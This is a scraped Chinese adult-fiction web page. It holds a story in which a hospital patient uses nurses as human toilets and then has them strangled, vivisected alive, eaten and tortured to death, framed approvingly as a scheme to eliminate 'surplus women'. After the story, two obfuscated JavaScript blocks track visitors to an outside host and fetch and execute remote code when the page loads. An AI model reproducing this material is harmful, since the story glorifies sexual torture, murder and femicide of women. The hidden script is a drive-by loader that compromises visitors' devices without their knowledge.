图片载入中

护士的特别服务

特大字】 【大字】 【中字】 【小字

倒霉,真倒霉!这种八百年不遇的事情竟然被我碰上了。

今天晚上,我坐着我家的自动驾驶汽车到邻镇的体育场里听一场演唱会,我坐在车里哼起了这次演唱会的主打歌曲。

“世间的女孩如同星星一样多,但我只爱你一个。喜欢我的女孩在前方撞在了一起,我要为躲避事故而紧急刹车。”

这时候汽车把我唱的歌词当成了语音指令,立刻刹车,于是我就穿过前挡风玻璃,飞了出去,等我醒过来之后,我发现自己正躺在医院的病床上。

“你的情况还算不错,不要太担心了。”

也不知道是谁说的这句话,但是我可不认同他说的。

我没系安全带、唱的的时候没有关闭汽车的语音命令功能,我自己的车受到的损失,再加上后面追尾的车的损失,都要我一个人承担了。

我睁开眼睛,看到一个女医生站在我的身边,而我的身上裹满了绷带。

“皮肤大面积擦伤、多处骨折,好在内脏没有受伤。在麻醉药的作用下,您现在不会觉得疼,不过过一会儿可能会觉得有点疼。”

“我这儿有一张演唱会的票,有人买吗?”

虽然我已经很惨了,但是我还是在想办法减少我的损失,损失能少一点、是一点。

情况没有想像中的糟,我的车后面没有车追尾,我只需要付拖车费、修理费、医疗费就可以了,顺便说一下,最后我把我的票用四折的价格卖出去了。

等我在平板电脑上处理完了一切之后,医院的院长和几个管理人员来到我的病床前,首先是女医生对我说明了病情。

“您不需要太复杂的治疗,您只需要静养就可以了。具体来说,您的左脚脚踝、右腿膝盖、左手无名指、右手手腕、左手肘、右侧锁骨骨折,还有多处骨裂。您只需要静养两个月就可以了。”

“我要用高压养舱疗法。”

“呵呵,您是一位会精打细算的人,高压养舱太不划算了。”

“可是我现在几乎全身骨折了,如果顾一个人照顾我的话,花费不是更高吗?”

我本着“宁缺勿滥”的态度,所以我现在没有女友。

“你听我说,我们现在正在计划一个新的服务项目,如果你愿意帮助我们测试这个项目的话,你的护理费全免。”

医院的院长这样对我说,如果他说的是真的的话,这的确对我很有吸引力。

“什么样的项目?”

“你也知道,现在整个地球的男女出生比例非常的不正常,太多的女人引发了各种各样的社会问题,因此大家都在尽力地寻找各种增加男性、减少女性的方法。”

院长开始讲起国际形势了,这是职业病吗?

“我们也想到了一个也许行得通的方法,你慢慢听我说。我们这里的每一个护士都立志要尽全力以赴照顾病人,即便是把自己的身体当作病人的便盆也在所不惜。”

“拿护士当便盆用?这个真够刺激的。”

“我还没说完。我们会以‘当过便盆的护士不适合以人类的身份继续生活’为理由,把她处决。”

“处决?不至于做得这样狠吧?”

“你不明白,销毁多余的女性才是目的,让她们做便盆,只是让她们能够从‘人’过渡到‘用品’,再以‘用品’的身份被销毁掉,这样在伦理上还勉强说得过去。”

“那销毁这些人,不会犯罪吗?”

“这个您不用担心,我们有双重保险。首先我们的医院隶属于军队的,这里执行的法律有别于民间;其次这里是医院,我们可以给她们开出各种各样的死亡证明,没有任何麻烦的。”

既然没有麻烦,还不用付钱,这可是千载难逢的好机会呀,于是我果断同意了。

在我签了一份承诺保密的文件之后,我被推入了一间没有窗户的病房。

这里的床非常宽大,床的中间有一个怪异的凹槽。

“说好的便盆呢?”

我有点迫不及待,护士长拉过来一个护士。

“让她做你的便盆可以吗?”

我靠,这个护士真是太漂亮了,她脸上长着一双脉脉含情的单凤眼、鼻直口正、唇红齿白、齐耳短发看上去就很柔顺,丰满的胸部让人想立刻扑上去,不过我全身骨折,没办法扑上去。

“我真的可以在她的嘴里拉屎吗?”

“当然可以。”

回话的竟然是那个要被当作便盆的女护士。

一想到要拿这么漂亮的护士当作便盆,我的老二就无法忍耐地翘了起来,这一幕被在场的所有护士都看到了。

“这位先生,您对我满意吗?”

那个护士看到我兴奋的样子,她似乎很高兴。

她风骚地走了两步,转了一个圈,然后她的身体压在我的身上,用舌尖舔着我的耳垂,舔得我浑身酥痒。

“我就要变成您的便盆了,在我变成便盆之前,要我为您提供点其它的服务吗?”

“求、求之不得。”

护士解开自己的护士服,掀起胸罩,她硕大的乳房碰地一下,跳了出来。

她把一个乳头塞到我的嘴里,我用力一吸,把她的乳头和一部分柔软的乳房都吸进了嘴里。

“来试试这个。”

护士用她的两个乳房分别揉搓我的两个脸颊,我虽然不能动手,但是我可以用脸部感受到她无比柔软的乳房。

她揉搓了一会儿之后,突然直起身子。

“别,我还要。”

“我的可以吗?”

旁边的一个护士解开护士服,掏出自己的乳房,塞到我的口中。

而那个便盆护士则掀开我的病号服,开始用她的乳房摩擦我的老二。

我闭着眼睛享受着口中的乳头,我的老二感受着那个护士的两个乳房,之后她的乳房离开了我的老二,取而代之的是一个湿热的肉穴!

护士一声接一声地叫着,她的肉穴不停地掳着我的老二,最后,我的精液被她的淫穴给榨了出来。

旁边的护士用嘴帮我清理粘唿唿的老二,另外两个护士把那个便盆护士安装到病床上的凹槽中,她的四肢都隐藏在了病床之下,只有裸露的头和躯干露了出来。

“您对您的便盆还有什么话说?她变成便盆之后,就禁止说话了。”

“呵呵,的确,便盆会说话就太恶心了。”

“这位便盆小姐,我还不知道你的名字呢。”

“抱歉,为了保护我们的护士的隐私,我们是不公布自己的真实姓名的,您就叫我‘便盆’好了。”

周围的四个护士和她告别之后,就把我小心地搬到病床上了,我的肛门正对着‘便盆’的嘴巴,便盆还调皮地舔了舔我的肛门。

我的腰部贴在她两个丰满的乳房上,真是很舒服,她一起一伏的腹部抵着我的后背,也很有意思。

旁边的两个护士脱光衣服,钻进了我的被窝,一左一右抱着我。

“有什么需要,您直接对我们说就好了,没事的时候,您可以摸摸我们的身体。”

虽然手脚不能动了,不过两个护士把自己的小穴凑到我的手指可以够到的地方,我也很喜欢模她们的下身,两个护士也用手指温柔地抚摸我的胸口。

“我要拉屎。”

两个小时之后,我有了一点便意。

“您直接拉到便盆的嘴里就好了。”

好吧,我让肛门放松、腹部的肌肉用力,大便就从我的肛门里掉进了她的口中,不过因为我没有亲眼看到,我只能说我猜掉进了她的口中。

“我要撒尿。”

肛门的阔约肌影响着前列腺,我觉得自己要尿出来了。

一个护士立刻掀开被子,把我的老二含到嘴里,大口大口地吸着我的尿液。

“对不起,因为您是我们新的服务项目接待的第一位病人,所以会有很多没有想到的问题。”

我拉完之后,便盆伸出舌头,把我的肛门舔干净,而那个喝我的尿的护士,就顺理成章地变成了我的尿壶。

我对这个尿壶很满意,她每次喝光我的尿之后,都会把尿道里残存的尿吸出来,还会仔细地舔干净我的老二,真是很周到。

我住院的第二天,除了全身都不能动以外,一切都好。

吃饭有护士喂我吃,早晚两次有护士帮我擦洗身体。

但是到了第二天晚上,却出了点问题。

我正在往便盆的嘴里拉屎,但是我却感觉到大便没有掉进她的嘴里,而且粘到了我的屁股上。

“护士小姐,我的便盆好像出问题了。”

两个护士立刻醒过来,帮我检查,原来我的便盆睡着了。

按照原先的计划,便盆小姐本来应该一天24小时保持清醒的,但是我使用的这位便盆小姐却睡着了,我的大便拉到了她的脸上,还粘在了我的屁股上。

之后几个护士帮我清洗身体,而那个脸上粘着大便的便盆小姐也擦干净脸上的大便。

“真是对不起,我们没有想到会发生这样的事情,以后我们会尽量避免的。”

护士长一直向我道歉。

“您介意继续使用这个弄脏了的便盆吗?需要我们给您换个新的吗?”

“不介意,继续用这个就好了,护士长,我能提点建议吗?”

“您请说。”

“可以给她的嘴上装上开口器,这样在她们会打瞌睡时,也可以当便盆用了。”

“这的确是个好方法,而且是只有男人能想出来的好方法。”

“谢谢您给我这个机会,我不会再睡觉了。”

那个便盆也向我道谢。

“便盆不许说话,恶心。”

便盆不敢说话了,其它的护士找来开口器,给她的嘴巴装上了开口器,她漂亮的脸蛋儿立刻变得滑稽起来。

她们重新把便盆安装在床上的凹槽里,之后我便躺了上去。

之后我便住在这间病房里,这里白天有人用轮椅送我出门散步,晚上几个不知道姓名的女护士轮流为我提供性服务。

这样过了五天,虽然她们经常打扫,我的便盆还是已经有些怪味儿了,其他的护士也注意到了这一点。

她们把便盆从我床上的凹槽里取出来,这个便盆连续五天无法说话,无法自由活动,只能张着嘴接我的大便,现在她已经有些精神恍惚了,但是至少她还活着。

护士用比较有尊严的方法,用病人运送车把便盆送了出去,我还是有点不相信,这个便盆小姐会被处死。

新换的便盆又有新的改进。

之前的便盆自己也有排便、排尿的需求,只能在我出去散步时,由护士把她从凹槽中挖出来,让她自己去厕所解决,这样有些麻烦。

新的便盆用两根管子,将粪便和尿液导入她的子宫。

虽然听起来有些残忍,但是这样真的省去了不少麻烦。

三天后,我的尿壶也到了需要报废的时候了。

因为尿壶不需要固定在床上,需要时她就会趴在我的两腿间,喝我的尿,不需要时她就穿着护士服,站在房间的角落里,等待我在需要时唤她过来。

她偶尔还会推着轮椅,带我出去散步,因此,尿壶的精神状态比便盆要好得多。

“这个尿壶真的要销毁吗?你们没有骗我吧?”

“呵呵,听起来是有些离奇,不过我真的没有骗您。”

几个护士向我解释。

“我不信,你要证明给我看,我要你们在这里把她弄死。”

“好吧,这也不是什么难事。”

我的尿壶微笑着朝我挥了挥手,然后就被几个护士绑住了手脚,她们在我面前用绳子勒住了她的脖子,然后尿壶开始剧烈地挣扎,她眼球上翻,露出了眼白,吐出来的舌尖在空气中乱颤。

周围的几个护士抱住她,不让她挣扎的太厉害。

过了几分钟,尿壶和周围的护士都已经大汗淋漓,尿壶挣扎的幅度也慢慢变弱,最后不会动了。

勒住她脖子的护士仍旧不肯松手,又过了两分钟,她们确认这个尿壶已经死透了,才放开手,尿壶就全身松软地瘫倒在地上。

“这样您相信了吧?”

于是我点点头,目送盖着白布的她被推出病房。

之后又有一个便盆和一个尿壶被处死了。

尿壶在处死后,会被当作解剖用的材料,便盆就不行了,子宫里满是粪便会引起别人的怀疑的。

送走几个美女之后,我对我开始对解剖感兴趣了。

我一直对护士长唠叨,想看解剖的过程,最后护士长还是答应了。

这天正好是给我换新尿壶的日子,护士推过来一张台子,横在我的病床上,这个台子应该是用来解剖尿壶小姐用的吧?

“那么,我们弄死她之后,就可以解剖了。”

“等等,可以不杀死她,直接解剖吗?”

我觉得这些护士愿意让我把屎尿灌进她们的嘴里,又肯自愿被处理掉,我想她们说不定愿意接受活体解剖呢。

听到我的话之后,尿壶小姐先是吃了一惊,然后便痛快地答应了。

待她脱光衣服之后,护士们七手八脚地把她绑在台子上,用一块毛巾堵住了她的嘴。

护士们说,下一次玩活体解剖的时候,会给我准备更好用的解剖台。

尿壶小姐在解剖台上难掩她的紧张。

女医生问我:“您想看她的哪个器官?”

“我想先看看女人的乳房里是什么样子的。”

“明白。”

女医生的解剖刀毫不犹豫地将尿壶小姐的一个乳房割去半个顶部,又将另一个乳房,连同乳头一起,从中间一噼两半,这些都在尿壶小姐还有意识的情况下完成的,她疼得拼命地摇头,鼻子里发出呜呜的声音。

“感觉怎么样?”

“原来女人的乳房内部也很漂亮呀。”

脂肪、乳腺、肌肉,女性乳房的秘密如今在我面前已是一览无余。

我的目光稍微向一侧偏一点,就能看到她因痛苦而扭曲的脸。

“你不会恨我吧?”

虽然我不是很在乎,不过我还是想问一句。

尿壶小姐边流着眼泪边朝我摇头。

“我还想看女人的子宫。”

我对女医生说。

“好的,没问题。”

女医生的解剖刀又瞄准了她剧烈起伏的腹部,她熟练地在她的肚皮上划出了一条长长的刀口,然后将刀口左右分开,她的内脏伴随鲜血一起从腹腔中冒了出来。

医生除去她性感的小腹,只留下阴部附近的阴毛。

“请看,肠道和耻骨之间的就是子宫了。”

“抱歉,我看不清。”

听说子宫很小,对于我这个非专业的人来说,根本不可能一眼就找到子宫。

医生索性把阴毛下面的皮肉也切掉,再敲碎了两块耻骨,她的子宫和一小段阴道就这样露出来了。

在医生用锤子一下一下敲碎她的耻骨的时候,她的整个身体都在解剖台上挣扎,估计当是她疼得要命。

最后医生把她的子宫连同外阴一起挖了出来,在子宫动脉血管被割断的时候,她的鲜血立刻从阴部挖出的空洞中涌出,她使劲地加紧双腿,但是这丝毫不会减慢她失血的速度,也不能缓解她的痛苦。

医生把刚刚切下来的子宫拿给我看,女性的子宫远比我想像中的小,这么小的子宫真的能生出孩子吗?

医生按照我的要求,把子宫从中间噼开,我能清楚地看见她阴道内的一层层皱褶,这些皱褶可是在我住院的第一天里,伺候得我很舒坦的。

维持尿壶小姐生命的血液,就像工厂排出的废水一样,流进了解剖台的排污孔中,在我盯着她的子宫仔细看的时候,尿壶小姐已经悄悄地死掉了。

她们给她盖上一块被单,把她推出我的病房。

“感觉怎么样?”

“唿……真是刺激!我的老二又硬了,宝贝,快上来,我要发泄一下。”

旁边的两个护士似乎被这个血腥的表演刺激得兴奋起来,我一招唿,她们就跑过来,轮流舔我的硬得不能再硬的老二。

“啊,好舒服!要是每个月都能这样解剖一个就好了。”

“呵呵,只要我们的护士同意,应该没问题的。”

“你们的护士真是好说话,让她们喝尿她们就喝尿,要勒死她们她们也没意见。”

“根据我们的研究,过去的50年里,女性的心里产生了翻天覆地的变化,现在的女性更愿意服从男性,为男性奉献一切,我们只不过是给她们提供了一个机会而已。”

“如果我想吃她们的肉呢?”

我突然突发奇想,想尝尝这些漂亮的女护士的肉是什么味道。

“这个有点难。把护士当作便盆,我们至少还能找到一个牵强的理由,但是把护士宰掉吃肉,该用什么理由呢?”

听到女医生这样说,我还以为吃不到美人肉了呢,谁知过了两天,女医生似乎帮我安排好了。

“您想吃人肉倒是可以,只要您要对外保密。”

医生拉过来一个护士,我记得她,她就是轮流照顾我,同时陪我睡觉的几个护士是中的一个。

“这是我们新来的护士,今年19岁。她已经给自己写好遗嘱了,遗嘱里写明了她是因为单相思而自杀,死后希望自己被火化,这样一来,即使她身上少几块肉,也不会有人注意了。”

女孩笑嘻嘻地解开衣扣,爬到我的怀中。

“您想吃掉我吗?”

“想,想,我都流口水了。在被我吃掉之前,再和我做两次好不好?”

“好呀!”

这个活泼的小护士立刻脱光了衣服,把我的老二塞进自己的嘴巴里。

“您的已经硬成这个样子了?”

“刚才在想像了一下吃你的样子,它就自己翘起来了。”

女孩知道这是她这辈子最后一次和男人做了,她把羞耻心完全扔掉,双手揉搓着自己的乳房,骑在我的身上拼命地晃她的腰,啊啊啊地大叫。

她高潮了三次,才肯从我的身上爬下来。

与此同时,护士们推过来专门为解剖活人而改造的解剖台,这个台子上自带可以扣住人的手脚的皮带,这样就不用绳子了,而且绳子也不如这些皮带可靠。

她们把护士绑好之后,我原本以为医生会用手术到,谁知道医生拿来一把切肉刀,的确,这个时候用切肉刀更合适一些。

医生按照我的要求,把刀子捅进了她的小穴,然后向上一挑,很暴力地把她的肚子豁开。

这不是这不是做手术,不需要考虑解剖台上的人的安全,医生迅速地把她肚子里的内脏都掏了出来。

医生在尽量不伤害到她的生命的情况下,把她活生生地肢解成了一块块的肉。

当她断气的时候,她除了头部和胸部以外,其它的部分都被切碎了,然后医生又继续剃下了她前胸后背的肉。

病房里不能起火做饭,这些肉被送到空地上,护士们在那里搞起了露天烧烤,我也坐着轮椅,跟了过去,看她们烤肉。

“真香,这是我这辈子吃的最好吃的肉了。”

护士们把肉烤得喷香,但她们自己却不愿意吃这些烤肉,之后她们看着我大口大口吃烤肉,她们也馋了,先是有胆子大的吃了几块,后来其它的护士也加入了烧烤。

几十个护士把烤肉吃个精光,大家都知道自己吃的是什么,但是没有人明说。

以后的日子里,总有小护士私下对我说,想成为下一次的烹调材料。

看到这些护士这么听话,所以我也就没有顾忌了,一次在护士喂我吃饭的时候,我突然想到,让她把自己的肉喂给我,会是什么感觉?我和她说了我的想法,她说,只要我每天晚上都和她做,她就同意。

第一天早上,我们把她的一个乳房割下来、剁成块、煮成粥。

然后她把自己的乳房粥端到我的面前,一勺勺地喂我吃。

捞到乳头的时候,她还很有情趣地把乳头含在自己的嘴里,然后嘴对嘴喂给我吃。

中午我们切下她小腿上的一块肉,炒着吃,下午她只能拄着拐杖走路了,晚上吃的是她另一个乳房。

当天晚上,我们像往常一样做了一次,不过这次她不能在做的时候柔自己的胸部了。

第二天和第三天,我们切掉了她的两条腿,这时候还需要有一个护士来照顾她。

她再喂我吃饭,还要有一个护士抱着她,才能让她的身体直立起来,晚上做的时候,也需要一个护士来帮忙。

第四天,我们切掉了她的左臂,让她用仅有的右手喂我。

最后一天的中午,医生把她的肚子剖开,切下了她的子宫、阴道、肠子、肝脏,然后封死她腹腔内的血管,这样可以让她多活一段时间。

我的午饭很快出锅了,和之前一样,她用她的右手喂我吃这些肉,她的眼角挂着泪,但是还是努力地对我微笑。

她光滑的肚皮上的刀口很显眼,因为她已经是快死的,所以医生让她的刀口就那样敞开着,仔细看,还能看到她腹腔内残留的内脏。

我吃饱了之后,她们把这个护士面朝下,放到解剖台上。

按照她的请求,此时她牵着我的右手,医生在割断她的喉管时,我感觉到她用力地握着我的右手,她的身体扭动了几下之后,她的手就慢慢放开了。

两个月之后,我的手臂上的支架已经拆下来了,除了生活方便了以外,我还可以用更多的方式去折磨这些小护士了。

因为手部在这两个月中一直都没有活动过,现在我手的握力几乎丧失,为了锻炼握力,我找了一个胸部还算丰满的护士,用绳子勒住乳房的根部,把乳房捆成两个圆球,我没事儿时就用力捏她的乳房。

乳房被捆上以后,已经变成紫红色了,再被我捏、拍打四个小时之后,她的两个乳房已经变成深紫色了。

四个小时后,我好心地解开捆绑她乳房的绳子,让她的乳房可以休息一会儿,晚上再捏四个小时。

两天后,拍打她的乳房已经无法满足我的嗜虐心了,手部肌肉的锻炼?那个之后再说吧。

今天我们用面对面座位来做的时候,我把注射器的针头一根根扎进她的乳房里。

一开始她还忍住疼痛让我扎,但是在我揉搓她扎满针头的乳房时,她还是向我求饶了。

“如果你怕疼的话,我马上把把你解剖好了。”

“别急,我的胸部疼得受不了了,您还可以再虐一下我的下身。”

这个护士很了解我,她知道,我把她虐得越惨,我就越开心。

她下床稍微清洗了一下自己的阴道,然后躺在那张特制的解剖台上。

“啊!这个台子还真凉。”

她纤细的后背碰到台子的一瞬间,她的身体向上跳了一下。

我试着往她的阴道里插进三根手指,很轻松地插进去了,她还岔开双腿,方便我的插入。

插入四根手指时,可以感到一些阻力了,她的腿也因为疼痛和兴奋使劲地抖起来。

插入整个手掌就比较难了,不过这个护士也在配合我,她尽量让她的阴道放松,她的手指紧紧扣住解剖台的边缘,以此来缓解疼痛。

在我整个手掌插进去之后,就在她的阴道里大幅度的搅拌,我的手让她不停地惨叫。

我的中指一点点地穿过她的子宫口,然后是两根手指,接着用三只手指捏着她的子宫,一点点往外拽。

她的子宫口又粘又滑,不好拽,不过这一系列的动作,已经让她疼得昏死过去一次了。

我把她弄醒,虽然不知道今天能不能把她的子宫拽出来,如果能拽的话,我一定要让她在清醒的时候感受子宫被拉出的感觉。

我不停地拽,一只手累了就换另一只手,慢慢地,她的子宫韧带被我拉折了,她的子宫口也一点点出现在她的小穴口。

“加……加油,快要拽出来了。”

这个护士还不忘记给我加油。

我又拽了几下,终于把她的阴道从内到外翻了过来,她的阴道挂在射体外面,就像男人的老二一样。

我想起护士给我撸管的样子,我也用手撸她露在身体外面的的阴道,只剩半条命的她,竟然还能做出舒服的反应。

“累了吗?”

那个护士点点头,于是我堵住她的嘴巴,把她的四肢用皮带绑好,然后用刀割她腿上的肉。

因为第一次剃肉,动作很不熟练,有一半的肉都是硬撕下来的,护士会受多少苦,自不用明说。

丢人的是,我只割下了一条腿上的肉,就已经手腕发酸,看来割人肉真是个苦差事。

之后我把剃肉的工作交给其他人,我就抽空掐一掐她的喉咙,让她的受虐体验丰富一点,结果二十分钟后,我就把她掐死了。

我的锻炼很有计划,除了锻炼手的握力,我还在锻炼臂力。

我让护士找了些SM专用的工具,把一个护士脱光了、绑成X形,然后用鞭子抽打她的全身。

每抽半小时,我和她就休息一个小时,如此循环。

为了预防她尿湿地面,我们用胶水封死了她的尿道,抽了她一天之后,女孩的身上已经找不到一块完好的皮肤了。

被我打到皮开肉绽之后,她还是很认真地用她的嘴巴、手、小穴为我服务,晚上我在被窝里抱住她、抚摸她的伤口,每摸一下,她就惨叫一声。

隔天我继续抽打她,结果只用了半天的时间,她就被我活活打死了。

又过了两周,我的腿也好得差不多了,在白天,护士们抚着我,训练我走路,到了晚上,我就用各种姿势来和她们做。

我现在已经不需要人体便盆了,但是便把肛门舔干净的感觉,还有尿壶把尿吸出来的感觉真是太棒了,但是屋子里有一个便盆,的确臭了点。

根据我的要求,我的病床的凹槽被堵上了,我想拉屎的时候,只要把便盆小姐叫过来,骑在她的脸上就可以拉了,之后让她站到门外就没有臭味了。

可以下地走路,着让我凌虐这些护士更方便了。

现在我和医院都懒得给这些事情找理由了。

护士死掉之前,她们都会写下遗嘱,她们死后,医院给她们开出死亡证明,证明她们是自杀,最后把可以吃掉的部分吃掉,不能吃的部分就直接烧掉,不留下一点痕迹。

我喜欢把四、五个护士绑成一排,让她们M开脚,有时也用其它的姿势。

想抽她们就抽她们,想电她们就电她们,她们的全身都是我抽打的血印和电击的焦痕,她们的乳头和阴部是伤痕最集中的地方。

我把她们当作廉价的泻欲工具,白白嫩嫩的一个女护士,不出半天,就成了全身的皮肤都烂掉的一块烂肉。

玩累了,我就给她们的小穴和菊门里塞进按摩棒,然后躲到一边,听这些快要死掉的女人呻吟。

这些护士,哪个都不会在我的连续折磨下活过三天,不过我一般不会直接把她们虐死,在她们半死不活的时候,我就会直接解剖她们。

我又在医院里住了一周,医生建议我回家休息,她说我再休息一周就完全复原了。

“谢谢您帮助我们完善这个项目,您知道吗?您住院期间总共消耗掉57个护士,如果我们的项目能推广开来的话,就能消灭好多多余的女性了。”

“你们还要继续搞这个项目吗?”

“当然,上个月,我们收治的一位传染病人,就是用照顾您的方式照顾他的。只不过为了预防传染病传染,那里的护士都是两天换一次。以后我们如果不出大问题的话,这个项目会成为标准的看护服务的。”

“我能知道这些护士的名字吗?”

护士长为难的摇摇头,看来我是拿不到她们的名字了。

之后我对住院的日子总是念念不忘,我索性把漂亮的护士长娶回家,让她在家中照顾我。

六个月之后,这家医院的特别护理服务开始向外界推广。

不管是什么样的病人,只要是男性患者,都可以用很低的价格享受这项护理服务。

又过了几个月,慕名而来的患者越来越多,在医院最近公布的照片中,等待焚化的尸体一车接一车。

医院并不担心护士不够用,因为不停地有其它医院的护士跳槽到这里,护士学校的学生有更愿意来这家医院实习。

引用护士们的话说,来这家医院工作,可以比在其它医院里更好地照顾(男)病人,而且还能减少社会上女性的数量,一举两得。

最近一次去这家医院,是去体检,女护士一边和我做,一边帮我检查身体,等到身体检查完了。

我又折磨了她一个小时,最后切下她的一条腿、两个乳房,挖出她的整套性器官,把它当作这家医院的赠品带回家,而整个体检过程连同购买那个护士一起算来,价格出奇的便宜。


上一篇:【青春期催眠】【1-9完】

下一篇:一个46岁熟妇的真实的婚外性生活自述


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};